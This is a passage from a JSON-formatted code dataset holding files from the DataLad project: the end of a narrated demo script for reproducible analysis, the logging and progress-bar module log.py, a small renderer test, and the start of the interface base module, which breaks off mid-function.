save code -m \\\\\\\"Brain extraction script\\\\\\\" --to-git\\\"\\n\\nsay \\\"In addition, we will \\\\\\\"tag\\\\\\\" this state of the dataset. This is optional, but it can help to identify important milestones more easily\\\"\\nrun \\\"datalad save --version-tag setup_done\\\"\\n\\nsay \\\"Now we can run our analysis code to produce results. However, instead of running it directly, we will run it with DataLad -- this will automatically create a record of exactly how this script was executed\\\"\\nsay \\\"For this demo we will just run it on the structural images of the first subject from each dataset. The uniform structure of the datasets makes this very easy. Of course we could run it on all subjects; we are simply saving some time for this demo.\\\"\\nsay \\\"While the command runs, you should notice a few things:\\\"\\nsay \\\"1) We run this command with 'bash -e' to stop at any failure that may occur\\\"\\nsay \\\"2) You'll see the required data files being obtained as they are needed -- and only those that are actually required will be downloaded\\\"\\nrun \\\"datalad run bash -e code/brain_extraction.sh inputs/ds*/sub-01/anat/sub-01_T1w.nii.gz\\\"\\n\\nsay \\\"The analysis step is done, all generated results were saved in the dataset. All changes, including the command that caused them are on record\\\"\\nrun \\\"git show --stat\\\"\\n\\nsay \\\"DataLad has enough information stored to be able to re-run a command.\\\"\\nsay \\\"On command exit, it will inspect the results and save them again, but only if they are different.\\\"\\nsay \\\"In our case, the re-run yields bit-identical results, hence nothing new is saved.\\\"\\nrun \\\"datalad rerun\\\"\\n\\nsay \\\"Now that we are done, and have checked that we can reproduce the results ourselves, we can clean up\\\"\\nsay \\\"DataLad can easily verify if any part of our input dataset was modified since we configured our analysis\\\"\\nrun \\\"datalad diff --revision setup_done inputs\\\"\\n\\nsay \\\"Nothing was changed.\\\"\\nsay \\\"With DataLad with don't have to keep those inputs around -- without losing the ability to reproduce an analysis.\\\"\\nsay \\\"Let's uninstall them -- checking the size on disk before and after\\\"\\n\\nrun \\\"du -sh\\\" .\\nrun \\\"datalad uninstall inputs/*\\\"\\nrun \\\"du -sh .\\\"\\nsay \\\"All inputs are gone...\\\"\\nrun \\\"ls inputs/*\\\"\\n\\nsay \\\"Only the remaining data (our code and the results) need to be kept and require a backup for long term archival. Everything else can be re-obtained as needed, when needed.\\\"\\n\\nsay \\\"As DataLad knows everything needed about the inputs, including where to get the right version, we can re-run the analysis with a single command. Watch how DataLad re-obtains all required data, re-runs the code, and checks that none of the results changed and need saving\\\"\\nrun \\\"datalad rerun\\\"\\n\\nsay \\\"Reproduced!\\\"\\n\\nsay \\\"This dataset could now be published and enable anyone to replicate the exact same analysis. Public data for the win!\\\"\\n\"\n },\n {\n \"alpha_fraction\": 0.5845750570297241,\n \"alphanum_fraction\": 0.5886815786361694,\n \"avg_line_length\": 36.11030578613281,\n \"blob_id\": \"8430fecb8c034b1733fdc193878d760f6a62fcae\",\n \"content_id\": \"646b9cdeb7dcb2ba1d4b5221dabb4c9782342fbc\",\n \"detected_licenses\": [\n \"BSD-3-Clause\",\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 25573,\n \"license_type\": \"permissive\",\n \"max_line_length\": 99,\n \"num_lines\": 689,\n \"path\": \"/datalad/log.py\",\n \"repo_name\": \"datalad/datalad\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# emacs: -*- mode: python; py-indent-offset: 4; tab-width: 4; indent-tabs-mode: nil -*-\\n# ex: set sts=4 ts=4 sw=4 et:\\n# ## ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ##\\n#\\n# See COPYING file distributed along with the datalad package for the\\n# copyright and license terms.\\n#\\n# ## ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ##\\n\\\"\\\"\\\"Logging setup and utilities, including progress reporting\\\"\\\"\\\"\\n\\nfrom contextlib import contextmanager\\nfrom functools import partial\\nimport inspect\\nimport logging\\nimport os\\nimport sys\\nimport platform\\nimport random\\nimport logging.handlers\\nimport warnings\\n\\nfrom os.path import basename, dirname\\n\\nfrom collections import defaultdict\\n\\nfrom .utils import is_interactive, optional_args\\nfrom .support import ansi_colors as colors\\n\\n__all__ = [\\n 'ColorFormatter',\\n 'LoggerHelper',\\n 'filter_noninteractive_progress',\\n 'log_progress',\\n 'with_progress',\\n 'with_result_progress',\\n]\\n\\n# Snippets from traceback borrowed from duecredit which was borrowed from\\n# PyMVPA upstream/2.4.0-39-g69ad545 MIT license (the same copyright as DataLad)\\n\\n\\ndef mbasename(s):\\n \\\"\\\"\\\"Returns an expanded basename, if the filename is deemed not informative\\n\\n A '.py' extension is stripped from file name, and the containing directory\\n is prepended for too generic file names like 'base', '__init__', and 'utils'\\n\\n Parameters\\n ----------\\n s: str\\n Platform-native path\\n\\n Returns\\n -------\\n str\\n \\\"\\\"\\\"\\n base = basename(s)\\n if base.endswith('.py'):\\n base = base[:-3]\\n if base in set(['base', '__init__', 'utils']):\\n base = basename(dirname(s)) + '.' + base\\n return base\\n\\n\\nclass TraceBack(object):\\n \\\"\\\"\\\"Customizable traceback for inclusion debug log messages\\n \\\"\\\"\\\"\\n\\n def __init__(self, limit=100, collide=False):\\n \\\"\\\"\\\"\\n Parameters\\n ----------\\n collide : bool\\n if True, deduplicate a subsequent message by replacing a common\\n prefix string with an ellipsis.\\n \\\"\\\"\\\"\\n self.__prev = \\\"\\\"\\n self.limit = limit\\n self.collide = collide\\n\\n # delayed imports and preparing the regex substitution\\n if collide:\\n import re\\n self.__prefix_re = re.compile('>[^>]*$')\\n else:\\n self.__prefix_re = None\\n\\n def _extract_stack(self, limit=None):\\n \\\"\\\"\\\"Call traceback.extract_stack() with limit parameter\\n\\n Parameters\\n ----------\\n limit: int, optional\\n Limit stack trace entries (starting from the invocation point)\\n if limit is positive, or to the last `abs(limit)` entries.\\n If limit is omitted or None, all entries are printed.\\n\\n Returns\\n -------\\n traceback.StackSummary\\n \\\"\\\"\\\"\\n import traceback\\n return traceback.extract_stack(limit=limit)\\n\\n def __call__(self):\\n # get the stack description. All but the last three items, which\\n # represent the entry into this utility rather than the traceback\\n # relevant for the caller\\n ftb = self._extract_stack(limit=self.limit + 10)[:-3]\\n # each item in `ftb` is\\n # (filename, line, object, code-on-line)\\n # so entries is a list of (filename, line)\\n entries = [\\n [mbasename(x[0]), str(x[1])] for x in ftb\\n # the last entry in the filtered list will always come from\\n # this datalad/log.py facility, where the log record\\n # was emitted, it is not meaningful to always show a constant\\n # trailing end of the traceback\\n # more generally, we are hardly ever interested in traceback\\n # pieces from this file\\n if x[0] != __file__\\n ]\\n # remove more \\\"uninformative\\\" levels of the stack, given the space\\n # constraints of a log message\\n entries = [\\n e for e in entries\\n if e[0] not in ('unittest', 'logging.__init__')\\n ]\\n\\n if len(entries) > self.limit:\\n sftb = '…>'\\n entries = entries[-self.limit:]\\n else:\\n sftb = ''\\n\\n if not entries:\\n return \\\"\\\"\\n\\n # let's make it more concise\\n entries_out = [entries[0]]\\n for entry in entries[1:]:\\n # if the current filename is the same as the last one on the stack\\n # only append the line number to save space\\n if entry[0] == entries_out[-1][0]:\\n entries_out[-1][1] += ',%s' % entry[1]\\n else:\\n entries_out.append(entry)\\n\\n # format the traceback in a compact form\\n sftb += '>'.join(\\n ['%s:%s' % (mbasename(x[0]), x[1]) for x in entries_out]\\n )\\n\\n if self.collide:\\n # lets remove part which is common with previous invocation\\n prev_next = sftb\\n common_prefix = os.path.commonprefix((self.__prev, sftb))\\n common_prefix2 = self.__prefix_re.sub('', common_prefix)\\n\\n if common_prefix2 != \\\"\\\":\\n sftb = '…' + sftb[len(common_prefix2):]\\n self.__prev = prev_next\\n\\n return sftb\\n\\n\\nclass MemoryInfo(object):\\n def __init__(self):\\n try:\\n from psutil import Process\\n process = Process(os.getpid())\\n self.memory_info = process.memory_info \\\\\\n if hasattr(process, 'memory_info') \\\\\\n else process.get_memory_info\\n except:\\n self.memory_info = None\\n\\n\\n def __call__(self):\\n \\\"\\\"\\\"Return utilization of virtual memory\\n\\n Generic implementation using psutil\\n \\\"\\\"\\\"\\n if not self.memory_info:\\n return \\\"RSS/VMS: N/A\\\"\\n mi = self.memory_info()\\n # in later versions of psutil mi is a named tuple.\\n # but that is not the case on Debian squeeze with psutil 0.1.3\\n rss = mi[0] / 1024\\n vms = mi[1] / 1024\\n vmem = (rss, vms)\\n\\n try:\\n return \\\"RSS/VMS: %d/%d kB\\\" % vmem\\n except:\\n return \\\"RSS/VMS: %s\\\" % str(vmem)\\n\\n# Recipe from http://stackoverflow.com/questions/384076/how-can-i-color-python-logging-output\\n# by Brandon Thomson\\n# Adjusted for automagic determination whether coloring is needed and\\n# prefixing of multiline log lines\\nclass ColorFormatter(logging.Formatter):\\n\\n def __init__(self, use_color=None, log_name=False, log_pid=False):\\n if use_color is None:\\n # if 'auto' - use color only if all streams are tty\\n use_color = is_interactive()\\n self.use_color = use_color and platform.system() != 'Windows' # don't use color on windows\\n msg = colors.format_msg(self._get_format(log_name, log_pid),\\n self.use_color)\\n log_env = os.environ.get('DATALAD_LOG_TRACEBACK', '')\\n collide = log_env == 'collide'\\n # if an integer level is given, we add one level to make the behavior\\n # more natural. The last frame will always be where the log record\\n # was emitted by out handler. However, user is more interested in the\\n # location where the log message originates.\\n # Saying DATALAD_LOG_TRACEBACK=1 will give that in most cases, with\\n # this internal increment\\n limit = 100 if collide else int(log_env) + 1 if log_env.isdigit() else 100\\n self._tb = TraceBack(collide=collide, limit=limit) if log_env else None\\n\\n self._mem = MemoryInfo() if os.environ.get('DATALAD_LOG_VMEM', '') else None\\n logging.Formatter.__init__(self, msg)\\n\\n def _get_format(self, log_name=False, log_pid=False):\\n from datalad import cfg\\n from datalad.config import anything2bool\\n show_timestamps = anything2bool(cfg.get('datalad.log.timestamp', False))\\n return ((\\\"\\\" if not show_timestamps else \\\"$BOLD%(asctime)-15s$RESET \\\") +\\n (\\\"%(name)-15s \\\" if log_name else \\\"\\\") +\\n (\\\"{%(process)d}\\\" if log_pid else \\\"\\\") +\\n \\\"[%(levelname)s] \\\"\\n \\\"%(message)s \\\")\\n\\n def format(self, record):\\n # safety guard if None was provided\\n if record.msg is None:\\n record.msg = \\\"\\\"\\n else:\\n # to avoid our logger puking on receiving exception instances etc.\\n # .getMessage, used to interpolate it, would cast it to str anyways\\n # and thus not puke\\n record.msg = str(record.msg)\\n if record.msg.startswith('| '):\\n # If we already log smth which supposed to go without formatting, like\\n # output for running a command, just return the message and be done\\n return record.msg\\n\\n levelname = record.levelname\\n\\n if self.use_color and levelname in colors.LOG_LEVEL_COLORS:\\n record.levelname = colors.color_word(\\n \\\"{:7}\\\".format(levelname),\\n colors.LOG_LEVEL_COLORS[levelname],\\n force=True)\\n record.msg = record.msg.replace(\\\"\\\\n\\\", \\\"\\\\n| \\\")\\n if self._tb:\\n if not getattr(record, 'notraceback', False):\\n record.msg = self._tb() + \\\" \\\" + record.msg\\n if self._mem:\\n record.msg = \\\"%s %s\\\" % (self._mem(), record.msg)\\n\\n return logging.Formatter.format(self, record)\\n\\n\\nclass ProgressHandler(logging.Handler):\\n from datalad.ui import ui\\n\\n def __init__(self, other_handler=None):\\n super(self.__class__, self).__init__()\\n self._other_handler = other_handler\\n self.pbars = {}\\n\\n def close(self):\\n if self._other_handler:\\n self._other_handler.close()\\n super().close()\\n\\n def emit(self, record):\\n from datalad.ui import ui\\n if not hasattr(record, 'dlm_progress'):\\n self._clear_all()\\n self._other_handler.emit(record)\\n self._refresh_all()\\n return\\n maint = getattr(record, 'dlm_progress_maint', None)\\n if maint == 'clear':\\n return self._clear_all()\\n elif maint == 'refresh':\\n return self._refresh_all()\\n pid = getattr(record, 'dlm_progress')\\n update = getattr(record, 'dlm_progress_update', None)\\n # would be an actual message, not used ATM here,\\n # and the record not passed to generic handler ATM\\n # (filtered away by NoProgressLog)\\n # so no final message is printed\\n # msg = record.getMessage()\\n if pid not in self.pbars:\\n # this is new\\n pbar = ui.get_progressbar(\\n label=getattr(record, 'dlm_progress_label', ''),\\n unit=getattr(record, 'dlm_progress_unit', ''),\\n total=getattr(record, 'dlm_progress_total', None,),\\n )\\n pbar.start(initial=getattr(record, 'dlm_progress_initial', 0))\\n self.pbars[pid] = pbar\\n elif update is None:\\n # not an update -> done\\n # TODO if the other logging that is happening is less frontpage\\n # we may want to actually \\\"print\\\" the completion message\\n self.pbars.pop(pid).finish()\\n else:\\n # Check for an updated label.\\n label = getattr(record, 'dlm_progress_label', None)\\n if label is not None:\\n self.pbars[pid].set_desc(label)\\n # an update\\n self.pbars[pid].update(\\n update,\\n increment=getattr(record, 'dlm_progress_increment', False),\\n total=getattr(record, 'dlm_progress_total', None))\\n\\n def _refresh_all(self):\\n for pb in self.pbars.values():\\n pb.refresh()\\n\\n def _clear_all(self):\\n # remove the progress bar\\n for pb in self.pbars.values():\\n pb.clear()\\n\\n\\ndef filter_noninteractive_progress(logger, record):\\n \\\"\\\"\\\"Companion of log_progress() to suppress undesired progress logging\\n\\n This filter is to be used with a log handler's addFilter() method\\n for the case of a non-interactive session (e.g., pipe to log file).\\n\\n It inspects the log record for `dlm_progress_noninteractive_level`\\n keys that can be injected via log_progress(noninteractive_level=).\\n\\n If a log-level was declared in this fashion, it will be evaluated\\n against the logger's effective level, and records are discarded\\n if their level is too low. If no log-level was declared, a log record\\n passes this filter unconditionally.\\n\\n Parameters\\n ----------\\n logger: logging.Logger\\n The logger instance whose effective level to check against.\\n record:\\n The log record to inspect.\\n\\n Returns\\n -------\\n bool\\n \\\"\\\"\\\"\\n level = getattr(record, \\\"dlm_progress_noninteractive_level\\\", None)\\n return level is None or level >= logger.level\\n\\n\\ndef log_progress(lgrcall, pid, *args, **kwargs):\\n \\\"\\\"\\\"Emit progress log messages\\n\\n This helper can be used to handle progress reporting without having\\n to maintain display mode specific code.\\n\\n Typical progress reporting via this function involves three types of\\n calls:\\n\\n 1. Start reporting progress about a process\\n 2. Update progress information about a process\\n 3. Report completion of a process\\n\\n In order to be able to associate all three steps with a particular process,\\n the `pid` identifier is used. This is an arbitrary string that must be\\n chosen to be unique across all different, but simultaneously running\\n progress reporting activities within a Python session. For many practical\\n purposes this can be achieved by, for example, including path information\\n in the identifier.\\n\\n To initialize a progress report this function is called without an\\n `update` parameter. To report a progress update, this function is called\\n with an `update` parameter. To finish a reporting on a particular activity\\n a final call without an `update` parameter is required.\\n\\n\\n Parameters\\n ----------\\n lgrcall : callable\\n Something like lgr.debug or lgr.info\\n pid : str\\n Some kind of ID for the process the progress is reported on.\\n *args : str\\n Log message, and potential arguments\\n total : int\\n Max progress quantity of the process.\\n label : str\\n Process description. Should be very brief, goes in front of progress bar\\n on the same line.\\n unit : str\\n Progress report unit. Should be very brief, goes after the progress bar\\n on the same line.\\n update : int\\n To (or by) which quantity to advance the progress. Also see `increment`.\\n increment : bool\\n If set, `update` is interpreted as an incremental value, not absolute.\\n initial : int\\n If set, start value for progress bar\\n noninteractive_level : int, optional\\n In a non-interactive session where progress bars are not displayed,\\n only log a progress report, if a logger's effective level includes the\\n specified level. This can be useful logging all progress is inappropriate\\n or too noisy for a log.\\n maint : {'clear', 'refresh'}\\n This is a special attribute that can be used by callers that are not\\n actually reporting progress, but need to ensure that their (console)\\n output does not interfere with any possibly ongoing progress reporting.\\n Setting this attribute to 'clear' will cause the central ProgressHandler\\n to temporarily stop the display of any active progress bars. With\\n 'refresh', all active progress bars will be redisplayed. After a 'clear'\\n individual progress bars would be reactivated upon the next update log\\n message, even without an explicit 'refresh'.\\n \\\"\\\"\\\"\\n d = dict(\\n # inject progress-related result properties as extra data\\n {'dlm_progress_{}'.format(n): v for n, v in kwargs.items()\\n # initial progress might be zero, but not sending it further\\n # would signal to destroy the progress bar, hence test for 'not None'\\n if v is not None},\\n dlm_progress=pid)\\n lgrcall(*args, extra=d)\\n\\n\\n@optional_args\\ndef with_result_progress(fn, label=\\\"Total\\\", unit=\\\" Files\\\", log_filter=None):\\n \\\"\\\"\\\"Wrap a progress bar, with status counts, around a function.\\n\\n Parameters\\n ----------\\n fn : generator function\\n This function should accept a collection of items as a\\n positional argument and any number of keyword arguments. After\\n processing each item in the collection, it should yield a status\\n dict.\\n log_filter : callable, optional\\n If defined, only result records for which callable evaluates to True will be\\n passed to log_progress\\n\\n label, unit : str\\n Passed to log.log_progress.\\n\\n Returns\\n -------\\n A variant of `fn` that shows a progress bar. Note that the wrapped\\n function is not a generator function; the status dicts will be\\n returned as a list.\\n \\\"\\\"\\\"\\n # FIXME: This emulates annexrepo.ProcessAnnexProgressIndicators. It'd be\\n # nice to rewire things so that it could be used directly.\\n\\n def count_str(count, verb, omg=False):\\n if count:\\n msg = \\\"{:d} {}\\\".format(count, verb)\\n if omg:\\n msg = colors.color_word(msg, colors.RED)\\n return msg\\n\\n\\n base_label = label\\n\\n def _wrap_with_result_progress_(items, *args, **kwargs):\\n counts = defaultdict(int)\\n\\n pid = \\\"%s:%s\\\" % (fn, random.randint(0, 100000))\\n\\n label = base_label\\n log_progress(lgr.info, pid,\\n \\\"%s: starting\\\", label,\\n total=len(items), label=label, unit=unit,\\n noninteractive_level=5)\\n\\n for res in fn(items, *args, **kwargs):\\n if not (log_filter and not log_filter(res)):\\n counts[res[\\\"status\\\"]] += 1\\n count_strs = (count_str(*args)\\n for args in [(counts[\\\"notneeded\\\"], \\\"skipped\\\", False),\\n (counts[\\\"error\\\"], \\\"failed\\\", True)])\\n if counts[\\\"notneeded\\\"] or counts[\\\"error\\\"]:\\n label = \\\"{} ({})\\\".format(\\n base_label,\\n \\\", \\\".join(filter(None, count_strs)))\\n\\n log_progress(\\n lgr.error if res[\\\"status\\\"] == \\\"error\\\" else lgr.info,\\n pid,\\n \\\"%s: processed result%s\\\", base_label,\\n \\\" for \\\" + res[\\\"path\\\"] if \\\"path\\\" in res else \\\"\\\",\\n label=label, update=1, increment=True,\\n noninteractive_level=5)\\n yield res\\n log_progress(lgr.info, pid, \\\"%s: done\\\", base_label,\\n noninteractive_level=5)\\n\\n def _wrap_with_result_progress(items, *args, **kwargs):\\n return list(_wrap_with_result_progress_(items, *args, **kwargs))\\n\\n return _wrap_with_result_progress_ \\\\\\n if inspect.isgeneratorfunction(fn) \\\\\\n else _wrap_with_result_progress\\n\\n\\ndef with_progress(items, lgrcall=None, label=\\\"Total\\\", unit=\\\" Files\\\"):\\n \\\"\\\"\\\"Wrap a progress bar, with status counts, around an iterable.\\n\\n Parameters\\n ----------\\n items : some iterable\\n lgrcall: callable\\n Callable for logging. If not specified - lgr.info is used\\n label, unit : str\\n Passed to log.log_progress.\\n\\n Yields\\n ------\\n Items of it while displaying the progress\\n \\\"\\\"\\\"\\n pid = \\\"with_progress-%d\\\" % random.randint(0, 100000)\\n base_label = label\\n if lgrcall is None:\\n lgrcall = lgr.info\\n\\n label = base_label\\n log_progress(lgrcall, pid,\\n \\\"%s: starting\\\", label,\\n total=len(items), label=label, unit=unit,\\n noninteractive_level=5)\\n\\n for item in items:\\n # Since we state \\\"processed\\\", and actual processing might be happening\\n # outside on the yielded value, we will yield before stating that\\n yield item\\n log_progress(\\n lgrcall,\\n pid,\\n \\\"%s: processed\\\", base_label,\\n label=label, update=1, increment=True,\\n noninteractive_level=5)\\n log_progress(lgr.info, pid, \\\"%s: done\\\", base_label, noninteractive_level=5)\\n\\n\\n@contextmanager\\ndef no_progress():\\n \\\"\\\"\\\"Context manager to clear progress bars for the duration of the context\\\"\\\"\\\"\\n log_progress(lgr.info, None, 'Clear progress bars', maint='clear',\\n noninteractive_level=5)\\n yield\\n log_progress(lgr.info, None, 'Refresh progress bars', maint='refresh',\\n noninteractive_level=5)\\n\\n\\nclass LoggerHelper(object):\\n \\\"\\\"\\\"Helper to establish and control a Logger\\\"\\\"\\\"\\n\\n def __init__(self, name='datalad', logtarget=None):\\n \\\"\\\"\\\"\\n\\n Parameters\\n ----------\\n name :\\n logtarget : string, optional\\n If we want to use our logger for other log targets, while having\\n a uniform control over them\\n \\\"\\\"\\\"\\n self.name = name\\n self.logtarget = logtarget\\n self.lgr = logging.getLogger(logtarget if logtarget is not None else name)\\n\\n def _get_config(self, var, default=None):\\n from datalad import cfg\\n return cfg.get(self.name.lower() + '.log.' + var, default)\\n\\n def set_level(self, level=None, default='INFO'):\\n \\\"\\\"\\\"Helper to set loglevel for an arbitrary logger\\n\\n By default operates for 'datalad'.\\n TODO: deduce name from upper module name so it could be reused without changes\\n \\\"\\\"\\\"\\n if level is None:\\n # see if nothing in the environment\\n level = self._get_config('level')\\n if level is None:\\n level = default\\n\\n try:\\n # it might be a string which still represents an int\\n log_level = int(level)\\n except ValueError:\\n # or a string which corresponds to a constant;)\\n log_level = getattr(logging, level.upper())\\n\\n self.lgr.setLevel(log_level)\\n # and set other related/used loggers to the same level to prevent their\\n # talkativity, if they are not yet known to this python session, so we\\n # have little chance to \\\"override\\\" possibly set outside levels\\n for dep in ('git',):\\n if dep not in logging.Logger.manager.loggerDict:\\n logging.getLogger(dep).setLevel(log_level)\\n\\n def get_initialized_logger(self, logtarget=None):\\n \\\"\\\"\\\"Initialize and return the logger\\n\\n Parameters\\n ----------\\n logtarget: {'stderr', str }, optional\\n Where to direct the logs. 'stderr' stands for the standard stream.\\n Any other string is considered a filename. Multiple entries could be\\n specified comma-separated\\n\\n Returns\\n -------\\n logging.Logger\\n \\\"\\\"\\\"\\n if not logtarget:\\n logtarget = self._get_config('target', 'stderr')\\n\\n # Allow for multiple handlers being specified, comma-separated\\n if ',' in logtarget:\\n for handler_ in logtarget.split(','):\\n self.get_initialized_logger(logtarget=handler_)\\n return self.lgr\\n\\n if logtarget.lower() == 'stderr':\\n loghandler = logging.StreamHandler(sys.stderr)\\n use_color = is_interactive() # explicitly decide here\\n elif logtarget.lower() == 'stdout':\\n warnings.warn(\\\"'stdout' was discontinued as valid log target and \\\"\\n \\\"will be ignored.\\\", DeprecationWarning)\\n else:\\n # must be a simple filename\\n # Use RotatingFileHandler for possible future parametrization to keep\\n # log succinct and rotating\\n loghandler = logging.handlers.RotatingFileHandler(logtarget)\\n use_color = False\\n # I had decided not to guard this call and just raise exception to go\\n # out happen that specified file location is not writable etc.\\n\\n for names_filter in 'names', 'namesre':\\n names = self._get_config(names_filter, '')\\n if names:\\n import re\\n # add a filter which would catch those\\n class LogFilter(object):\\n \\\"\\\"\\\"A log filter to filter based on the log target name(s)\\\"\\\"\\\"\\n def __init__(self, names):\\n self.target_names = set(n for n in names.split(',')) \\\\\\n if names_filter == 'names' \\\\\\n else re.compile(names)\\n if names_filter == 'names':\\n def filter(self, record):\\n return record.name in self.target_names\\n else:\\n def filter(self, record):\\n return self.target_names.match(record.name)\\n\\n loghandler.addFilter(LogFilter(names))\\n\\n # But now improve with colors and useful information such as time\\n loghandler.setFormatter(\\n ColorFormatter(use_color=use_color,\\n # TODO: config log.name, pid\\n log_name=self._get_config(\\\"name\\\", False),\\n log_pid=self._get_config(\\\"pid\\\", False),\\n ))\\n # logging.Formatter('%(asctime)-15s %(levelname)-6s %(message)s'))\\n if is_interactive():\\n phandler = ProgressHandler(other_handler=loghandler)\\n phandler.filters.extend(loghandler.filters)\\n self.lgr.addHandler(phandler)\\n else:\\n loghandler.addFilter(partial(filter_noninteractive_progress,\\n self.lgr))\\n self.lgr.addHandler(loghandler)\\n\\n self.set_level() # set default logging level\\n return self.lgr\\n\\n\\nlgr = LoggerHelper().get_initialized_logger()\\n\"\n },\n {\n \"alpha_fraction\": 0.5271317958831787,\n \"alphanum_fraction\": 0.5400516986846924,\n \"avg_line_length\": 15.69565200805664,\n \"blob_id\": \"b25e137ac8cd39655b4471bbd21c3649e1f21532\",\n \"content_id\": \"cc56f8e728eda85847b97618c26b6a5112687412\",\n \"detected_licenses\": [\n \"BSD-3-Clause\",\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 387,\n \"license_type\": \"permissive\",\n \"max_line_length\": 42,\n \"num_lines\": 23,\n \"path\": \"/datalad/cli/tests/test_renderer.py\",\n \"repo_name\": \"datalad/datalad\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"from datalad.tests.utils_pytest import eq_\\n\\nfrom ..renderer import (\\n NA_STRING,\\n nadict,\\n nagen,\\n)\\n\\n\\ndef test_nagen():\\n na = nagen()\\n eq_(str(na), NA_STRING)\\n eq_(repr(na), 'nagen()')\\n assert na.unknown is na\\n assert na['unknown'] is na\\n\\n eq_(str(nagen('-')), '-')\\n\\n\\ndef test_nadict():\\n d = nadict({1: 2})\\n eq_(d[1], 2)\\n eq_(str(d[2]), NA_STRING)\\n\\n\\n\\n\"\n },\n {\n \"alpha_fraction\": 0.6142823696136475,\n \"alphanum_fraction\": 0.6164463758468628,\n \"avg_line_length\": 34.65797805786133,\n \"blob_id\": \"fb3f318213a154602e2e62d74e98b8a59668aff6\",\n \"content_id\": \"019e138517abc635f14640db718c88c6cb7337c7\",\n \"detected_licenses\": [\n \"BSD-3-Clause\",\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 34196,\n \"license_type\": \"permissive\",\n \"max_line_length\": 97,\n \"num_lines\": 959,\n \"path\": \"/datalad/interface/base.py\",\n \"repo_name\": \"datalad/datalad\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# emacs: -*- mode: python; py-indent-offset: 4; tab-width: 4; indent-tabs-mode: nil -*-\\n# ex: set sts=4 ts=4 sw=4 et:\\n# ## ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ##\\n#\\n# See COPYING file distributed along with the datalad package for the\\n# copyright and license terms.\\n#\\n# ## ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ##\\n\\\"\\\"\\\"High-level interface generation\\n\\n\\\"\\\"\\\"\\n\\n__docformat__ = 'restructuredtext'\\n\\nimport inspect\\nimport logging\\n\\nlgr = logging.getLogger('datalad.interface.base')\\n\\nimport os\\nimport re\\nimport textwrap\\nimport warnings\\nfrom abc import (\\n ABC,\\n abstractmethod,\\n)\\n\\nfrom functools import wraps\\nfrom importlib import import_module\\nfrom typing import (\\n Callable,\\n Dict,\\n Generator,\\n TypeVar,\\n TYPE_CHECKING,\\n)\\n\\nimport datalad\\nfrom datalad import cfg as dlcfg\\nfrom datalad.core.local.resulthooks import (\\n get_jsonhooks_from_config,\\n match_jsonhook2result,\\n run_jsonhook,\\n)\\nfrom datalad.distribution.dataset import (\\n Dataset,\\n resolve_path,\\n)\\nfrom datalad.interface.common_opts import eval_params\\nfrom datalad.interface.results import known_result_xfms\\nfrom datalad.interface.utils import (\\n get_result_filter,\\n keep_result,\\n render_action_summary,\\n xfm_result,\\n _process_results\\n)\\nfrom datalad.support.exceptions import (\\n CapturedException,\\n IncompleteResultsError,\\n)\\nfrom datalad.utils import get_wrapped_class\\n\\ndefault_logchannels = {\\n '': 'debug',\\n 'ok': 'debug',\\n 'notneeded': 'debug',\\n 'impossible': 'warning',\\n 'error': 'error',\\n}\\nif TYPE_CHECKING:\\n from .base import Interface\\n\\nanInterface = TypeVar('anInterface', bound='Interface')\\n\\n\\ndef get_api_name(intfspec):\\n \\\"\\\"\\\"Given an interface specification return an API name for it\\\"\\\"\\\"\\n if len(intfspec) > 3:\\n name = intfspec[3]\\n else:\\n name = intfspec[0].split('.')[-1]\\n return name\\n\\n\\ndef get_interface_groups(include_plugins=False):\\n \\\"\\\"\\\"Return a list of command groups.\\n\\n Returns\\n -------\\n A list of tuples with the form (GROUP_NAME, GROUP_DESCRIPTION, COMMANDS).\\n \\\"\\\"\\\"\\n if include_plugins:\\n warnings.warn(\\\"Plugins are no longer supported.\\\", DeprecationWarning)\\n\\n from .. import interface as _interfaces\\n\\n grps = []\\n # auto detect all available interfaces and generate a function-based\\n # API from them\\n for _item in _interfaces.__dict__:\\n if not _item.startswith('_group_'):\\n continue\\n grp_name = _item[7:]\\n grp = getattr(_interfaces, _item)\\n grps.append((grp_name,) + grp)\\n return grps\\n\\n\\ndef get_cmd_summaries(descriptions, groups, width=79):\\n \\\"\\\"\\\"Return summaries for the commands in `groups`.\\n\\n Parameters\\n ----------\\n descriptions : dict\\n A map of group names to summaries.\\n groups : list of tuples\\n A list of groups and commands in the form described by\\n `get_interface_groups`.\\n width : int, optional\\n The maximum width of each line in the summary text.\\n\\n Returns\\n -------\\n A list with a formatted entry for each command. The first command of each\\n group is preceded by an entry describing the group.\\n \\\"\\\"\\\"\\n cmd_summary = []\\n for grp in sorted(groups, key=lambda x: x[0]):\\n grp_descr = grp[1]\\n grp_cmds = descriptions[grp[0]]\\n\\n cmd_summary.append('\\\\n*%s*\\\\n' % (grp_descr,))\\n for cd in grp_cmds:\\n cmd_summary.append(' %s\\\\n%s'\\n % ((cd[0],\\n textwrap.fill(\\n cd[1].rstrip(' .'),\\n width - 5,\\n initial_indent=' ' * 6,\\n subsequent_indent=' ' * 6))))\\n return cmd_summary\\n\\n\\ndef load_interface(spec):\\n \\\"\\\"\\\"Load and return the class for `spec`.\\n\\n Parameters\\n ----------\\n spec : tuple\\n For a standard interface, the first item is the datalad source module\\n and the second object name for the interface.\\n\\n Returns\\n -------\\n The interface class or, if importing the module fails, None.\\n \\\"\\\"\\\"\\n lgr.log(5, \\\"Importing module %s \\\", spec[0])\\n try:\\n mod = import_module(spec[0], package='datalad')\\n except Exception as e:\\n ce = CapturedException(e)\\n lgr.error(\\\"Internal error, cannot import interface '%s': %s\\\",\\n spec[0], ce)\\n intf = None\\n else:\\n intf = getattr(mod, spec[1])\\n return intf\\n\\n\\ndef get_cmd_doc(interface):\\n \\\"\\\"\\\"Return the documentation for the command defined by `interface`.\\n\\n Parameters\\n ----------\\n interface : subclass of Interface\\n \\\"\\\"\\\"\\n intf_doc = '' if interface.__doc__ is None else interface.__doc__.strip()\\n if hasattr(interface, '_docs_'):\\n # expand docs\\n 